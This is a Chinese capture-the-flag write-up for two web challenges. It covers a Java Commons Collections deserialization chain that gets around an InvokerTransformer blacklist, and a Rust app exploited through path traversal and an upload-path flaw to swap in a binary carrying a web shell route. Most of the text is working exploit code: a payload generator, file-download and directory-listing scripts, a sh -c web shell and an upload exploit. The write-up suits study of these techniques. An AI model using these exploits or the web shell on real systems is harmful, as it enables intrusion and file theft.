WEEK2-WEB
ezCC
java反序列化这一块一直不太懂,放点前置知识在这。等后续看看blog上能不能单独补一篇笔记。
一、知识补充 : 什么是“反序列化漏洞”?
想象一下,你正在玩一个网络游戏。当你下线时,服务器需要把你的角色等级、装备、位置等数据保存下来,这个过程叫 “序列化” (把对象变成数据流)。当你重新上线时,服务器读取这些数据,重新生成你的角色对象,这个过程叫 “反序列化” (把数据流变回对象)。
1.1 为什么会有漏洞?
Java 的反序列化机制非常强大,它不仅能恢复数据(比如等级 99),还能恢复对象的行为。如果反序列化的数据中包含了一些“特殊的指令”,而服务器没有对这些数据进行检查就直接恢复了对象,那么这些指令就会被执行。
这就好比你给朋友寄了一箱拆好的乐高积木(序列化数据),并附带了一张图纸(类定义)。如果你在箱子里偷偷塞了一个捕鼠夹,当你的朋友按照说明书把积木倒出来拼装(反序列化)时,夹子就会弹起来夹住他的手。
1.2 什么是 CC 链?
CC 链 指的是利用 Apache Commons Collections 这个 Java 库中的类构造出的攻击链(Gadget Chain)。
- Commons Collections:这是一个非常常用的工具包,几乎所有的 Java 项目都会用到它,就像是一个“万能扳手”。
- Gadget(小工具) :指利用 Java 中已有的类和方法,像拼积木一样串联起来,最终达到执行任意代码的目的。
核心原理:Commons Collections 中有一个叫 Transformer 的接口,它的作用是“转换对象”。其中有一个实现类叫 InvokerTransformer,它可以利用反射机制调用任意方法(包括执行系统命令)。攻击者通过精心构造一系列对象(Map、List 等),让服务器在反序列化时自动触发这个 Transformer,从而执行恶意代码。
2.1 题目概况
题目给出了一个 .war 包(Web 应用压缩包)和一个靶机地址。解压后发现:
-
Web 框架:这是一个标准的 Java Web 应用。
-
依赖库:
WEB-INF/lib 下包含commons-collections-3.2.1.jar。这是一个存在已知反序列化漏洞的老版本(3.2.2 之后才修复)。 -
核心代码:
-
myServlet:接收 Cookie 中的userInfo参数,进行 Base64 解码后反序列化。 -
BlacklistObjectInputStream:这是一个自定义的类,用于在反序列化时检查类名。
-
2.2 防御机制(黑名单)
我们在 BlacklistObjectInputStream 中发现了一个黑名单,它禁止了 org.apache.commons.collections.functors.InvokerTransformer 的反序列化。
这意味着:最常见的 CC1 链(直接用 InvokerTransformer 执行命令)无法使用了。
既然正门(InvokerTransformer)被堵死了,我们需要找后门。
3.1 寻找替代品
我们需要找到另一个能执行代码的方式。在 Java 反序列化利用中,除了 InvokerTransformer,还有一个神器叫 TemplatesImpl。
- TemplatesImpl:这是 JDK 自带的一个类,用于处理 XML/XSLT 转换。
- 特性:它内部可以存储一段字节码(
.class 文件内容)。当它的newTransformer() 方法被调用时,它会加载并实例化这段字节码。 - 利用点:如果我们将恶意代码(比如读取 flag)放在一个类的构造函数中,并将这个类的字节码塞给
TemplatesImpl,那么只要触发newTransformer(),恶意代码就会被执行。
3.2 构造触发链(Gadget Chain)
现在的问题变成了:如何触发 TemplatesImpl.newTransformer() ?
我们找到了一个完美的辅助类:TrAXFilter。
-
TrAXFilter 的构造函数接收一个Templates 对象,并且在构造函数内部直接调用了templates.newTransformer()。
现在的目标变成了:如何调用 TrAXFilter 的构造函数?
我们回到 Commons Collections,找到了 InstantiateTransformer。
- InstantiateTransformer:它的作用就是“调用构造函数实例化对象”。关键是,它没有被黑名单禁用!
3.3 最终的攻击链 (Payload)
我们将整个流程串起来:
-
入口:反序列化
HashMap。 -
触发点:
HashMap 为了计算 Key 的哈希值,会调用 Key 的hashCode() 方法。我们使用TiedMapEntry作为 Key。 -
中转:
TiedMapEntry 会调用LazyMap.get()。 -
执行:
LazyMap 发现 Key 不存在,调用我们可以控制的Transformer链。 -
核心:
- 先用
ConstantTransformer 返回TrAXFilter.class。 - 再用
InstantiateTransformer 调用new TrAXFilter(templates)。 -
TrAXFilter 构造函数触发templates.newTransformer()。 -
TemplatesImpl加载我们的恶意类,读取 Flag。
- 先用
4.1 编写恶意类 (Malicious.java)
这个类它的作用是读取服务器上的 /flag 文件,并通过抛出异常的方式把内容显示在网页上。
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
// ... 其他 import ...
public class Malicious extends AbstractTranslet {
public Malicious() {
try {
// 尝试读取 /flag
String content = new String(Files.readAllBytes(Paths.get("/flag")));
// 将 Flag 放在异常信息中抛出
throw new RuntimeException("YOUR_FLAG_IS: " + content);
} catch (Exception e) {
// ...
}
}
// ... 实现抽象方法 ...
}
4.2 编写生成器 (Exp.java)
这个程序负责把 Malicious 编译后的字节码包装进我们的攻击链,最后生成 Base64 字符串。
// ... 省略部分代码 ...
public class Exp {
public static void main(String[] args) throws Exception {
// 1. 读取恶意字节码
byte[] code = Files.readAllBytes(Paths.get("Malicious.class"));
// 2. 塞入 TemplatesImpl
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][] { code });
// 3. 构造 Transformer 链:用 InstantiateTransformer 实例化 TrAXFilter
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[] { Templates.class }, new Object[] { templates })
};
// ... 构造 HashMap 和 LazyMap ...
// 4. 生成 Payload
System.out.println(Base64.getEncoder().encodeToString(baos.toByteArray()));
}
}
4.3 攻击
- 编译
Malicious.java 和Exp.java(使用 JDK 8)。 - 运行
Exp得到一串 Base64 字符。 - 将这串字符作为 Cookie (
userInfo=...) 发送给靶机。 - 服务器反序列化失败(因为我们故意抛出了异常),返回 HTTP 500 错误页面。
- 在错误页面的堆栈信息中,我们看到了
YOUR_FLAG_IS: hgame{...}。

easyuu

长得挺像一道简单的文件上传,但是当我无伤流畅的上传了带有一句话木马的webshell之后发现好像不是那么简单。
除了上传之外,我发现还有:
/api/download_file/ 用于下载文件
往往我们可以测试一下是否存在目录穿越,下载到原本不应该给我们下载到的东西,于是测试 %2e%2e%2f 这种URL编码之后的路径穿越是否可用。为了防止层数不够,直接进行了
/api/download_file/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd

为了精确到底穿越了几层,反复测试之后发现是两层,于是我们构造一个脚本用来快速的读取文件
import requests
import sys
import os
# ================= 配置区域 =================
HOST = "1.116.118.188"
PORT = "32643" # 请确认端口,有时是 31538
BASE_URL = f"http://{HOST}:{PORT}"
DOWNLOAD_DIR = "downloads" # 文件保存的本地目录
# ===========================================
def encode_uu(raw_str):
"""
题目核心机制:只对 . 和 / 进行 URL 编码
"""
encoded = ""
for char in raw_str:
if char == '.' or char == '/':
encoded += f"%{ord(char):02x}"
else:
encoded += char
return encoded
def save_to_disk(filename, content):
"""
将文件保存到本地 downloads 目录,保持目录结构
"""
# 去掉开头的 /,防止写入到本地根目录
safe_filename = filename.lstrip('/')
# 拼接本地路径
local_path = os.path.join(DOWNLOAD_DIR, safe_filename)
# 创建本地目录
local_dir = os.path.dirname(local_path)
if not os.path.exists(local_dir):
os.makedirs(local_dir)
# 写入文件
try:
with open(local_path, "wb") as f:
f.write(content)
return local_path
except Exception as e:
print(f"[!] 保存文件失败: {e}")
return None
def read_file(filename):
# 1. 构造 Payload (回退2到达根目录)
payload_raw = "../" * 2 + filename
payload_encoded = encode_uu(payload_raw)
target_url = f"{BASE_URL}/api/download_file/{payload_encoded}"
print(f"[*] 正在请求: {filename}")
try:
response = requests.get(target_url, timeout=10)
if response.status_code == 200:
file_size = len(response.content)
print(f"[+] 下载成功! 大小: {file_size} bytes")
# === 1. 保存文件到本地 ===
saved_path = save_to_disk(filename, response.content)
if saved_path:
print(f"[+] 已保存至: {saved_path}")
# === 2. 尝试在终端显示内容 ===
print("=" * 60)
# 尝试解码文本
try:
# 针对 environ 和 cmdline 的特殊显示优化
if "environ" in filename or "cmdline" in filename:
text_content = response.content.decode('utf-8', errors='ignore')
print(text_content.replace('\x00', '\n'))
else:
# 尝试以 UTF-8 解码
text_content = response.content.decode('utf-8')
# 如果文件太长,只显示前 2000 字符
if len(text_content) > 2000:
print(text_content[:2000])
print(f"\n... (剩余内容太长,请查看本地文件: {saved_path}) ...")
else:
print(text_content)
except UnicodeDecodeError:
# 如果解码失败,说明是二进制文件 (如 /bin/ls 或 easyuu)
print("[!] 检测到二进制文件,不在终端显示内容。")
print(f"[!] 请查看本地文件: {saved_path}")
# 打印前 16 个字节的 Hex (方便看是不是 ELF)
print(f"Head: {response.content[:16].hex()}")
print("=" * 60)
elif response.status_code == 404:
print("[-] 文件不存在 (404)")
elif response.status_code == 500:
print("[-] 服务器 500 错误 (可能是目录或权限不足)")
else:
print(f"[-] 请求失败: {response.status_code}")
except Exception as e:
print(f"[!] 连接错误: {e}")
def main():
if not os.path.exists(DOWNLOAD_DIR):
os.makedirs(DOWNLOAD_DIR)
print(f"[*] EasyUU 下载器已启动 | 目标: {BASE_URL}")
print(f"[*] 文件将保存至: ./{DOWNLOAD_DIR}/")
print("[*] 输入 'q' 退出")
while True:
try:
user_input = input("\nfile> ").strip()
if user_input.lower() in ['q', 'exit']:
break
if not user_input: continue
# 补全斜杠
if not user_input.startswith('/'):
user_input = '/' + user_input
read_file(user_input)
except KeyboardInterrupt:
print("\nBye")
break
if __name__ == "__main__":
main()
但是,经过反复搜索,都没能搜到flag的踪迹,必须进行下一步RCE。于是,我们下载/proc/self/exe 看看正在执行的这个程序里面有什么

随即我们发现,似乎还有一个文件目录读取接口list_dir,经过反复测试,确定了传参方式:

确定了传参:path=%2e%2e%2f

由此,我们构造一个交互式脚本供我们方便使用
import requests
import sys
# ================= 配置区域 =================
HOST = "1.116.118.188"
PORT = "32643"
URL = f"http://{HOST}:{PORT}/api/list_dir"
# ===========================================
def encode_uu(raw_str):
"""
严格按照题目要求进行编码
. -> %2e
/ -> %2f
"""
encoded = ""
for char in raw_str:
if char == '.':
encoded += "%2e"
elif char == '/':
encoded += "%2f"
else:
encoded += char
return encoded
def list_dir(path_input):
# 1. 编码路径
encoded_path = encode_uu(path_input)
# 2. 手动构造 Body 字符串 (模拟 Burp 中的 Raw 数据)
# 格式: path=%2e%2e%2f
payload_body = f"path={encoded_path}"
# 3. 设置 Header (严格匹配截图)
headers = {
"Content-Type": "application/x-www-form-urlencoded"
}
# 打印调试信息,让你放心
# print(f"[*] 发送 Payload: {payload_body}")
try:
# data参数传入字符串时,requests不会自动再进行编码,会直接发送
resp = requests.post(URL, data=payload_body, headers=headers, timeout=5)
if resp.status_code == 200:
try:
files = resp.json()
print(f"\n当前目录: {path_input}")
print(f"{'TYPE':<6} | {'SIZE':<8} | NAME")
print("-" * 40)
# 排序:目录优先
files.sort(key=lambda x: (not x['is_dir'], x['name']))
for f in files:
ftype = "<DIR>" if f['is_dir'] else "FILE"
size = str(f['size'])
name = f['name']
# 高亮显示疑似 flag
if "flag" in name.lower() or "hgame" in name.lower():
name = f"\033[91m{name}\033[0m <--- [FLAG!!!]"
print(f"{ftype:<6} | {size:<8} | {name}")
print("-" * 40)
except Exception as e:
print(f"[-] JSON解析失败: {e}")
print(f"[-] 原始响应: {resp.text}")
else:
print(f"[-] 请求失败 HTTP {resp.status_code}")
except Exception as e:
print(f"[!] 连接错误: {e}")
def main():
print(f"[*] 已连接至 {URL}")
print("[*] 模式: POST application/x-www-form-urlencoded")
print("[*] 输入路径查看目录 (如 ../../ )")
while True:
try:
user_input = input("\npath> ").strip()
if user_input.lower() in ['exit', 'q']:
break
if not user_input:
user_input = "./"
list_dir(user_input)
except KeyboardInterrupt:
print("\nBye")
break
if __name__ == "__main__":
main()
自此我们解决了文件查找的问题,随后一路翻阅,我们了程序的源码:

下载下来解压找到了源码,在main.rs中,我们发现了点东西:
// main.rs
async fn update_watcher() {
// ...
let check_interval = Duration::from_secs(5);
loop {
sleep(check_interval).await;
// 关键点:它会执行 ./update/easyuu 这个二进制文件来检查版本 每五秒钟依次
if let Some(new_version) = get_new_version().await { ... }
}
}
async fn get_new_version() -> Option<Version> {
// 关键点:直接执行命令
let output = Command::new("./update/easyuu")
.arg("--version")
.output()
// ...
}
因此,我们有没有办法,把/app/update里面这个easyuu换成我们自己的呢?继续读,发现:
// app.rs
pub async fn upload_file(data: MultipartData) -> Result<usize, ServerFnError> {
let mut base_dir = PathBuf::from("./uploads");
while let Ok(Some(mut field)) = data.next_field().await {
match field.name().as_deref() {
Some("path1") => {
// 允许通过 path1 字段控制上传目录!
if let Ok(p) = field.text().await {
base_dir = PathBuf::from(p);
}
continue;
}
// ...
}
}
}
这看起来是个调试后门,不过留给了我们覆盖原有easyuu的机会,于是,我们修改easyuu的源码,加入一个/api/shell路由,实现RCE
#[cfg(feature = "ssr")]
async fn web_shell(
axum::extract::Query(params): axum::extract::Query<std::collections::HashMap<String, String>>
) -> String {
// 获取 URL 参数中的 cmd
if let Some(cmd) = params.get("cmd") {
// 执行系统命令 sh -c "cmd"
match std::process::Command::new("sh")
.arg("-c")
.arg(cmd)
.output()
{
Ok(output) => {
let stdout = String::from_utf8_lossy(&output.stdout);
let stderr = String::from_utf8_lossy(&output.stderr);
format!("=== STDOUT ===\n{}\n=== STDERR ===\n{}", stdout, stderr)
},
Err(e) => format!("Execution failed: {}", e),
}
} else {
"Usage: /api/shell?cmd=whoami".to_string()
}
}
// src/main.rs
#[tokio::main]
async fn main() {
use axum::{Router, routing::get};
// ...
// 注册新路由 /api/shell
let app = Router::new()
.route("/api/download_file/{filename}", get(download_file))
.route("/api/shell", get(web_shell)) // <---
.leptos_routes(&leptos_options, routes, {
let leptos_options = leptos_options.clone();
move || shell(leptos_options.clone())
})
.fallback(leptos_axum::file_and_error_handler(shell))
.with_state(leptos_options);
// ...
}
if let Some(new_version) = get_new_version().await {
if new_version > current_version {
// ... update() ...
// ... restart_myself(path);
}
}
//更新版本号,确定我们能覆盖原有的版本
cargo build --release --features ssr
编译运行,再通过我们的上传脚本上传:
import requests
import sys
import os
HOST = "1.116.118.188"
PORT = "32643"
BASE_URL = f"http://{HOST}:{PORT}"
def upload_exploit(local_file_path):
if not os.path.exists(local_file_path):
print(f"[-] 文件不存在: {local_file_path}")
return
url = f"{BASE_URL}/api/upload_file"
# 构造 payload
# path1: 目标目录 (漏洞点) -> ./update
# file: 文件名 -> easyuu (覆盖目标程序)
with open(local_file_path, "rb") as f:
file_content = f.read()
files = {
'path1': (None, './update'),
'file': ('easyuu', file_content)
}
print(f"[*] 正在上传 {local_file_path} 到 {BASE_URL}/update/easyuu ...")
try:
r = requests.post(url, files=files, timeout=20)
if r.status_code == 200:
print("[+] 上传成功!")
else:
print(f"[-] 上传失败,状态码: {r.status_code}")
print(f"[-] 响应: {r.text}")
except Exception as e:
print(f"[!] 请求异常: {e}")
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage: python upload_exp.py <compiled_binary_path>")
print("Example: python upload_exp.py rev_shell_linux")
else:
upload_exploit(sys.argv[1])
验证:

上传成功,原本服务器的easyuu成功被我们换成了包含恶意路由的版本,直接读取环境变量:

拿到flag